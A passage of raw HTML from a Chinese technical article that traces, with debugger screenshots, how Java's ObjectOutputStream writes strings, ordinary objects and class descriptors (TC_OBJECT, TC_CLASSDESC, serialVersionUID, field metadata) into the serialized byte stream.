rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">，如果不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">方式还需要在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">的对象映射中插入当前String对象；接着，代码会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">getUTFLength</code><span md-inline="plain" style="box-sizing: border-box;">函数获取String字符串的长度和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0xFFFF</code><span md-inline="plain" style="box-sizing: border-box;">比较，如果大于该值时，表示当前String对象是一个长字符串对象，那么会先写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_LONGSTRING</code><span md-inline="plain" style="box-sizing: border-box;">标记（表示是LONGSTRING类型数据），然后写入字符串的长度和内容；如果小于等于该值时，表示当前String对象就是一个普通的字符串对象，那么会先写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_STRING</code><span md-inline="plain" style="box-sizing: border-box;">标记（表示是一个STRING类型对象），然后写入字符串的长度和内容；</span></span></span></span></span></span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">现在我们重点来看看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7202072538860104" data-s="300,640" style="" data-type="png" data-w="1930" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1eda02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cjNeaUQdMkOT10XmicjQcWSYtqDtFGUc0FviaT3n069mqibD07NaqUeQgw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">在写入obj对象之前，代码会先调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkSerialize()</code><span md-inline="plain" style="box-sizing: border-box;">检查当前对象是否是一个可序列化对象，如果不是那么会终止本次序列化并抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">newInvalidClassException()</code><span md-inline="plain" style="box-sizing: border-box;">错误：</span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23802163833075735" data-s="300,640" style="" data-type="png" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=c0ed4acb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cFp32kP2HomOIvdaCd1hmYiaZtgufvOkn5qm9MQgSnM3DwAibib3Dbiatuw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果是一个可序列化对象，那么会开始写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_OBJECT</code><span md-inline="plain" style="box-sizing: border-box;">标记（表示开始），随后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法写入当前对象所属类的类描述信息，跟进去：</span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4228187919463087" data-s="300,640" style="" data-type="png" data-w="1490" src="https://wechat2rss.xlab.app/img-proxy/?k=ef4c53f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0chdzZCHa40icgxian4UiccMl0HSFmD5ZY83eNa8kMYhmdFCb3KdqsLY8QA%2F640%3Fwx_fmt%3Dpng"/></p><p><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法主要用于判断当前的类描述符使用什么方式写入，如果传入的类描述信息是一个null引用，那么会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNull</code><span md-inline="plain" style="box-sizing: border-box;">方法，如果没有使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">方式，并且可以在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">对象池中找到传入的对象信息，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeHandle</code><span md-inline="plain" style="box-sizing: border-box;">，如果传入的类是一个动态代理类，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法，如果上面三个条件都不满足，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></span></span></p><p><br/></p><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">与</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeString</code></span><span md-inline="plain" style="box-sizing: border-box;">方法较为类似且不在我们本次(demo代码)的序列化流程中，因此不做赘述。</span></p><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">来看看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">：</span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8013422818791947" data-s="300,640" style="" data-type="png" data-w="1490" src="https://wechat2rss.xlab.app/img-proxy/?k=e7daa8c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cZfQ0zn09HW4qyU1YeGB3xnjoKVZUP7v1Elv4QHicicf0pibGslolZk2Iw%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;">首先写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_CLASSDESC</code><span md-inline="plain" style="box-sizing: border-box;">标记（表新类描述信息的开始）信息，然后判断使用的模式是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">模式，那么将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">desc</code><span md-inline="plain" style="box-sizing: border-box;">所表示的类元数据信息插入到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">对象的映射表中，然后根据使用的流协议版本调用不同的write方法，如果使用的流协议是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">，那么直接调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">desc</code><span md-inline="plain" style="box-sizing: border-box;">成员的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法，并且将当前引用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">this</code><span md-inline="plain" style="box-sizing: border-box;">作为实参传入到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法中，如果使用的不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">PROTOCOL_VERSION_1</code><span md-inline="plain" style="box-sizing: border-box;">协议，那么会调用当前类中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDescriptor</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></span></span></span></span></span></span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24074074074074073" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0e6e7505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cYalElypxdRAwQ0AZE55emZl2iagbrLFsthFdeH7ran0dN7Ue4AgkmLw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法，跟进：</span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8660714285714286" data-s="300,640" style="" data-type="png" data-w="1568" src="https://wechat2rss.xlab.app/img-proxy/?k=a0dadb73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cESTcZmAHpnFkicFt33A8PHx36kzmKELPGchodCa06Yvn9S95mXwbpoQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;">先调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeUTF</code><span md-inline="plain" style="box-sizing: border-box;">方法写入</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">类名</span></strong><span md-inline="plain" style="box-sizing: border-box;">到字节流，这里的类名是类全名，带了包名的那种（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">out.writeUTF(name);</code><span md-inline="plain" style="box-sizing: border-box;">）</span></span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeLong</code><span md-inline="plain" style="box-sizing: border-box;">方法写入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">serialVersionUID</code><span md-inline="plain" style="box-sizing: border-box;">的值到字节流（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">out.writeLong(getSerialVersionUID());</code><span md-inline="plain" style="box-sizing: border-box;">）</span></span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">然后开始写入当前类中成员属性的数量信息到字节流（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">out.writeShort(fields.length);</code><span md-inline="plain" style="box-sizing: border-box;">）</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">最后如下图所示，会写入每一个字段的信息，这里的字段信息包含三部分内容：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TypeCode</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldName</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldType</code></span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.21267454350161116" data-s="300,640" style="" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=ac439148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0chZGMcIpl7PuTHL4Jyg9CHru6DicqHgenRHQamFDSQw2vNaYLDHomk9g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">于是，这里的debug就走完了：</span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.617124394184168" data-s="300,640" style="" data-type="png" data-w="1238" src="https://wechat2rss.xlab.app/img-proxy/?k=be8bd4e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0czG2Nibia6zMZv0P80C1EGLzsakltFQnjLKpVOrYT84t5Q3ffxQOLOuIA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">接着，开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">annotateClass</code><span md-inline="plain" style="box-sizing: border-box;">方法，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">annotateClass</code><span md-inline="plain" style="box-sizing: border-box;">方法没有具体实现，如下图：</span></span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.12522045855379188" data-s="300,640" style="" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=32a36875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cfk292O7cFjqpXic5keVOibcOCicDEcsxnibcCrCOGOAiaibiaEcjJ2VZwrXAA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">该方法是提供给子类实现的方法，通常默认情况下这个方法什么也不做，与此类似的还有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: 